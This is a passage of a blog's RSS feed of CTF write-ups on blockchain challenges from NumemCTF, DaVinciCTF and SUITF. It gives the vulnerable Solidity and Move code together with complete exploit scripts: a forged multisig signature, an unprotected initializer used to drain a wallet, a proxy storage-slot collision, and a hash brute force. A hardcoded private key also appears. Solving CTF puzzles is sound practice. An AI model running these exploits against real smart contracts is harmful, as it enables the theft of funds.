# print(token) flag{0xf4ea28f40bd256f743544e2c55e00f14701ee20e}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Wallet&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When the asset owned by this contract is transferred, it requires the confirmation of multi-sig.&lt;/p&gt;
&lt;pre id=&quot;code_1680247001884&quot; class=&quot;sol x86asm&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        owners.push(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4));
        owners.push(address(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2));
        owners.push(address(0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db));
        owners.push(address(0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB)); 
        owners.push(address(0x617F2E2fD72FD9D5503197092aC168c91465E7f2));&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;These addresses are used in Remix so that private key is known to the pulbic.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/ethereum/remix-project/blob/d13fea7e8429436de6622d855bf75688c664a956/libs/remix-simulator/src/methods/accounts.ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/ethereum/remix-project/blob/d13fea7e8429436de6622d855bf75688c664a956/libs/remix-simulator/src/methods/accounts.ts&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;359&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHUBUY/btr65pfPvfu/oWwnRCPZkQhtLon2ZDwFT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHUBUY/btr65pfPvfu/oWwnRCPZkQhtLon2ZDwFT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHUBUY/btr65pfPvfu/oWwnRCPZkQhtLon2ZDwFT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHUBUY%2Fbtr65pfPvfu%2FoWwnRCPZkQhtLon2ZDwFT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;360&quot; height=&quot;359&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;359&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.sol&lt;/p&gt;
&lt;pre id=&quot;code_1680247248567&quot; class=&quot;sol lsl&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Attack {
    Wallet public victim;
    constructor(address _victim) {
        victim = Wallet(_victim);
    }

    function attack() public {
        bytes memory reason = new bytes(1);
        bytes32[2] memory rs;
        bytes32 tmp;
        assembly { 
            mstore(add(tmp, 32), 0x2c890c0d647e541dfb6701d777e40612030681c9f87777cc2866443d87994c9d) 
        }
        rs[0] = tmp;
        assembly { 
            mstore(add(tmp, 32), 0xf2149f718256ba41c5be7e037786ae06d371064fdf80cb333ff46bcef1ea0e3c) 
        } 
        rs[1] = tmp;
        reason[0] = 0;
        SignedByowner[] memory ss = new SignedByowner[](3);
        ss[0] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), &quot;1&quot;, true, reason), Signature(28, rs));
        ss[1] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), &quot;1&quot;, true, reason), Signature(28, rs));
        ss[2] = SignedByowner(Holder(address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), &quot;1&quot;, true, reason), Signature(28, rs));

        victim.transferWithSign(address(0x7Eeca3D06bfc20A1d0CbA259918BF6031DD5778B), 100 * 10 ** 18, ss);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1680247278740&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://8.218.239.44:8545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695

myAddr = Public_Address
cont = &quot;0x1fa9554d439ed54BDfC50b227B62c60E864CE0B0&quot; # deployed contract's address

def send_ether(_from, _to, _prikey, amount):
    signed_txn = w3.eth.account.signTransaction(dict(
        nonce=w3.eth.getTransactionCount(_from),
        gasPrice = w3.eth.gasPrice, 
        gas = 1000000,
        to=_to,
        value = amount,
        chainId = w3.eth.chain_id,
        ),
        _prikey
    )
    result = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

# send_ether(myAddr, &quot;0xBd3AAb59754ab0735c7F735e51Ebb338E0d2E20d&quot;,prikey, 10**15)

def attack(addr):
    f = open('att.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=addr, abi=abi)
    func_call = contract.functions[&quot;attack&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)



def attack_deploy():
    f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;att.bytecode&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(cont).buildTransaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    return str(transaction_receipt.contractAddress)

attack(attack_deploy())

# flag{0x4c7d8e17af758ca5204f61c16ea4353387352aeb}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Move&amp;nbsp;to&amp;nbsp;Checkin&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We should just call function HelloHackers() in module checkin.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;pre id=&quot;code_1680247617758&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# to copy my address for faucet
sui client active-address

# connect RPC
sui client new-env --alias ctf --rpc http://159.138.63.196:9000

# switch network
sui client switch --env ctf

# list sui received by faucet
sui client object 

# transfer sui to deployer
sui client transfer-sui --to 0xa70e7a452178b6c32797728d3a97f9a87a0aac6c --sui-coin-object-id 0x66a9fdf22caae3d28352b9d91e896d7f24c36392 --gas-budget 10000

# call entry function 
sui client call --function HelloHackers --module checkin --package 0xbc6777abb944886981241a70fdc46425e428c9cc --args &quot;hello&quot; --gas-budget 100000&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/164</guid>
      <comments>https://gss1.tistory.com/entry/NumemCTF-2022#entry164comment</comments>
      <pubDate>Sat, 1 Apr 2023 00:17:36 +0900</pubDate>
    </item>
    <item>
      <title>DaVinciCTF 2023 - blockchain</title>
      <link>https://gss1.tistory.com/entry/DaVinciCTF-2023-blockchain</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ctftime.org/event/1858&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ctftime.org/event/1858&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Owner&amp;nbsp;powned&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;chall&lt;/h3&gt;
&lt;pre id=&quot;code_1678607136464&quot; class=&quot;sol javascript&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
 
 

contract Challenge1 {

    address public me;
    mapping(address =&amp;gt; uint256) balances;

//constructor
    function initWallet() public {
        me = msg.sender;
    }

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint256 amount) public {
        require(amount &amp;lt;= balances[msg.sender]);
        payable(msg.sender).transfer(amount);
        balances[msg.sender] -= amount;
    }
//If there is an emergency, i'm protected \o/
    function migrateTo(address to) public {
        require(msg.sender == me, &quot;Only me can withdraw all the funds&quot;);
        payable(to).transfer(address(this).balance);
    }
//getBalance returns the balance of the contract, it is always nice to check my fortune 
    function getBalance() public view returns (uint) 
    {
        return (address(this).balance / 1 ether);
    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&lt;/h3&gt;
&lt;pre id=&quot;code_1678607106162&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider(&quot;http://z.dvc.tf:7545&quot;))

#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = Public_Address
me = &quot;0x284cC70A18899D6abc7AE968900D252812a961c6&quot;
cont = &quot;0x702F454A55322E08ACB0292c066a4bBa7EEa9bD5&quot; # deployed contract's address


def initWallet():
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;initWallet&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def migrateTo():
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;migrateTo&quot;](myAddr).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

initWallet()
migrateTo()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Upgradeable&amp;nbsp;Casino&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;chall&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;casino.sol&lt;/p&gt;
&lt;pre id=&quot;code_1678607179725&quot; class=&quot;sol javascript&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

contract Casino {
    uint256 maxFreeTokens = 10;

    // Keep track of the tokens spent at each game
    uint64 roulette = 0;
    uint64 slotMachine = 0;
    uint64 blackjack = 0;
    uint64 poker = 0;

    address admin = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159;
    mapping(address =&amp;gt; uint256) balances;
    mapping(address =&amp;gt; uint256) lastFreeTokenRequest;


    function changeMaxFreeTokens(uint256 newValue) external
    {
        require(msg.sender == admin, &quot;Only admin can change the number of free tokens you can get&quot;);
        maxFreeTokens = newValue;
    }

    function requestFreeTokens(uint256 numberOfTokensRequested) external {
        require(numberOfTokensRequested &amp;lt;= maxFreeTokens, &quot;You can't request that much free tokens&quot;);

        require(block.number &amp;gt; lastFreeTokenRequest[msg.sender] + 2,
        &quot;Wait a few more blocks before collecting free tokens&quot;);

        lastFreeTokenRequest[msg.sender] = block.number;

        balances[msg.sender] += numberOfTokensRequested;
    }

    function playTokens(uint64 tokensForRoulette, uint64 tokensForSlotMachine, uint64 tokensForBlackjack, uint64 tokensForPoker) external
    {
        require(tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker &amp;lt;= balances[msg.sender],
        &quot;You don't have enough tokens to play&quot;);

        // Increase the analytics variables
        roulette += tokensForRoulette;
        slotMachine += tokensForSlotMachine;
        blackjack += tokensForBlackjack;
        poker += tokensForPoker;

        balances[msg.sender] -= tokensForRoulette + tokensForSlotMachine + tokensForBlackjack + tokensForPoker;

        uint256 earnedTokens = 0;

        // Play the tokens at the chosen games

        // Roulette
        earnedTokens += tokensForRoulette*2*(randMod(3) == 0 ? 1 : 0);
        
        // Slot
        earnedTokens += tokensForSlotMachine * 500 * (randMod(1000) == 0 ? 1 : 0);

        // Blackjack
        earnedTokens += tokensForBlackjack * 15 * (randMod(21) == 0 ? 1 : 0);

        // Poker
        earnedTokens += tokensForPoker * 10000 * (randMod(15000) == 0 ? 1 : 0);

        balances[msg.sender] += earnedTokens;
    }

    // Initializing the state variable
    uint randNonce = 0;
 
    // Defining a function to generate
    // a random number
    function randMod(uint _modulus) internal returns(uint)
    {
        // increase nonce
        randNonce++;
        return uint(keccak256(abi.encodePacked(block.timestamp,msg.sender,randNonce))) % _modulus;
    }

    function getBalance(address user) external view returns(uint256){
        return balances[user];
    }

    function buyTokens() payable external {
        // deposit sizes are restricted to 1 ether
        require(msg.value == 1 ether);

        balances[msg.sender] += 10000 ;
    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;proxy.sol&lt;/p&gt;
&lt;pre id=&quot;code_1678607191504&quot; class=&quot;sol zephir&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;


contract Proxy {
    address _implementation;
    address _owner = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159; //0x0000000000000000000000000000000000000000;

    /**
     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
     *
     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
     * function call, and allows initializing the storage of the proxy like a Solidity constructor.
     */
    constructor(address _logic) payable {
        _implementation = _logic;
    }

    function getOwner() external view returns (address) {
        return _owner;
    }

    /**
     * @dev Delegates the current call to `implementation`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _delegate(address implementation) internal virtual {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    /**
     * @dev Delegates the current call to the address returned by `_implementation()`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _fallback() internal virtual {
        _delegate(_implementation);
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
     * function in the contract matches the call data.
     */
    fallback() external payable virtual {
        _fallback();
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
     * is empty.
     */
    receive() external payable virtual {
        _fallback();
    }


    /**
     * @dev Stores a new address in the EIP1967 implementation slot.
     */
    function _setImplementation(address newImplementation) private {
        _implementation = newImplementation;
    }

    /**
     * @dev Perform implementation upgrade
     *
     * Emits an {Upgraded} event.
     */
    function _upgradeTo(address newImplementation) internal {
        _setImplementation(newImplementation);
    }


    /**
     * @dev Upgrade the implementation of the proxy to `newImplementation`.
     *
     * Calls {_authorizeUpgrade}.
     *
     * Emits an {Upgraded} event.
     */
    function upgradeTo(address newImplementation) external {
        require(_owner == msg.sender, &quot;Ownable: caller is not the owner&quot;);
        _implementation = newImplementation;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;There are conflicts of storage slot.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;proxy's implementation = maxFreeTokens&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;proxy's owner = poker || blackjack || slotMachine || roulette&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1678607413286&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import sha3
import json
from solc import compile_source
import time
w3 = Web3(Web3.HTTPProvider(&quot;http://z.dvc.tf:7545&quot;))
#Check Connection
t=w3.isConnected()
print(t)

# Get private key 
prikey =  '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = Public_Address
cont = &quot;0xc2eD7BC05DB0d4FfF20F41D1cFf09CD7C7cC8EB8&quot; # proxy contract address

from Crypto.Util.number import *
def getRand(time, addr, nonce):
    return bytes_to_long(Web3.soliditySha3(['uint256', 'address','uint256'], [time, addr, nonce]))

def getTime():
    return w3.eth.get_block('latest')['timestamp']



target1 = 0xD1fF9D506104c5Bd6688Ca5DFd3068170025eD36 
target2 = 0x5aB8C62A01b00f57f6C35c58fFe7B64777749159


targets = []
divs = [2, 500, 15, 10000]

for i in range(4):
    targets.append(((target1 &amp;gt;&amp;gt; 64 * (3-i)) &amp;amp; 0xffffffffffffffff) - ((target2 &amp;gt;&amp;gt; 64 * (3-i)) &amp;amp; 0xffffffffffffffff))

for i in range(4):
    print(targets[i])
answers = [0] * 4


results = []


def playTokens(a, b, c, d):
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;playTokens&quot;](a, b, c, d).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
        # &quot;gas&quot;: 10**18
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def buyTokens(val):
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;buyTokens&quot;]().buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: val,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def requestFreeTokens(val):
    f = open('con_abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=cont, abi=abi)
    func_call = contract.functions[&quot;requestFreeTokens&quot;](val).buildTransaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

print(w3.eth.get_storage_at(cont, 1).hex())

requestFreeTokens(0x73ad18042EC0Bec33ACEB8C070c018b53850c43f) # casino contract address
playTokens(2**64 - (target2 &amp;amp; 0xffffffffffffffff), 0, 0, 0)
playTokens(target1 &amp;amp; 0xffffffffffffffff - 4, 6869315878430010885, 2001131302, 0)
playTokens(1, 0, 0, 0)
print(w3.eth.get_storage_at(cont, 1).hex())&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/163</guid>
      <comments>https://gss1.tistory.com/entry/DaVinciCTF-2023-blockchain#entry163comment</comments>
      <pubDate>Mon, 13 Mar 2023 08:15:34 +0900</pubDate>
    </item>
    <item>
      <title>SUITF</title>
      <link>https://gss1.tistory.com/entry/SUITF</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;crypto/Avalanche&amp;nbsp;Alert&lt;/h2&gt;
&lt;pre id=&quot;code_1677785790308&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    public entry fun solve(status: &amp;amp;mut AvalancheAlert::Status, ctx: &amp;amp;mut TxContext) {
        // Enter challenge solution here
        suitfch::AvalancheAlert::alert(status, 1337*1337, ctx);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;crypto/Mile&amp;nbsp;High&amp;nbsp;City&lt;/h2&gt;
&lt;pre id=&quot;code_1677785838986&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;original_text = [73,110,115,116,101,97,100,32,111,102,32,
                                         112,117,116,116,105,110,103,32,116,104,
                                         101,32,116,97,120,105,32,100,114,105,118,
                                         101,114,32,111,117,116,32,111,102,32,97,
                                         32,106,111,98,44,32,98,108,111,99,107,99,
                                         104,97,105,110,32,112,117,116,115,32,85,
                                         98,101,114,32,111,117,116,32,111,102,32,
                                         97,32,106,111,98,32,97,110,100,32,108,101,
                                         116,115,32,116,104,101,32,116,97,120,105,
                                         32,100,114,105,118,101,114,115,32,119,111,
                                         114,107,32,119,105,116,104,32,116,104,101,
                                         32,99,117,115,116,111,109,101,114,32,100,
                                         105,114,101,99,116,108,121,46]
from Crypto.Util.number import *
a = 0x7712d02e8b2f08d9ab748bcf206bda1f5ca6190b
a = long_to_bytes(a)

answer = []
for i in range(len(original_text)):
    answer.append(original_text[i] ^ a[i%20])

print(answer)&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;crypto/Nikola&amp;nbsp;Jokić's&amp;nbsp;Favorites&lt;/h2&gt;
&lt;pre id=&quot;code_1677803184559&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from Crypto.Util.number import *
from hashlib import sha3_256

print(b'sui '.hex())

for a in range(0x20,127):
    for b in range(0x20,127):
        for c in range(0x20,127):
            for d in range(0x20,127):
                inp = long_to_bytes(a) + long_to_bytes(b) + long_to_bytes(c) + long_to_bytes(d) + long_to_bytes(109) + long_to_bytes(111) + long_to_bytes(118) + long_to_bytes(101)
                if &quot;b696109b889b20e5e50b93e739a0734d94fa092c8289ade07f84a4969dfb039a&quot; == sha3_256(inp).digest().hex():
                    print(inp)
    print(a)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sage&lt;/p&gt;
&lt;pre id=&quot;code_1677803319939&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;F = IntergerModRing(16724971911849394411)
print(discrete_log(F(7619167469078768920), F(13383215253051849479)))&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;misc/Your&amp;nbsp;secret&amp;nbsp;is&amp;nbsp;safe&amp;nbsp;with&amp;nbsp;us&lt;/h2&gt;
&lt;pre id=&quot;code_1677803341511&quot; class=&quot;rs rust&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;    public entry fun solve(users: &amp;amp;mut SafeSecret::Users, ctx: &amp;amp;mut TxContext) {
        // Enter challenge solution here
        let password : vector&amp;lt;u8&amp;gt; = vector[00,00,00,00];
        let secret : vector&amp;lt;u8&amp;gt; = vector[88,88,88,88];
        let secret2 : vector&amp;lt;u8&amp;gt; = vector[79, 84, 84, 69, 82, 83, 69, 67];
        let password2 : vector&amp;lt;u8&amp;gt; = vector[115,110,111,119];
        suitfch::SafeSecret::register(users, password, secret2, ctx);
        suitfch::SafeSecret::set_admin_secret(users, password, secret);
    }&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;reversing&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I used move-disassemble.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;First, I should modify table headers of .mv file because address identifier is not aligned.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Then, I got move-instructions.&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/162</guid>
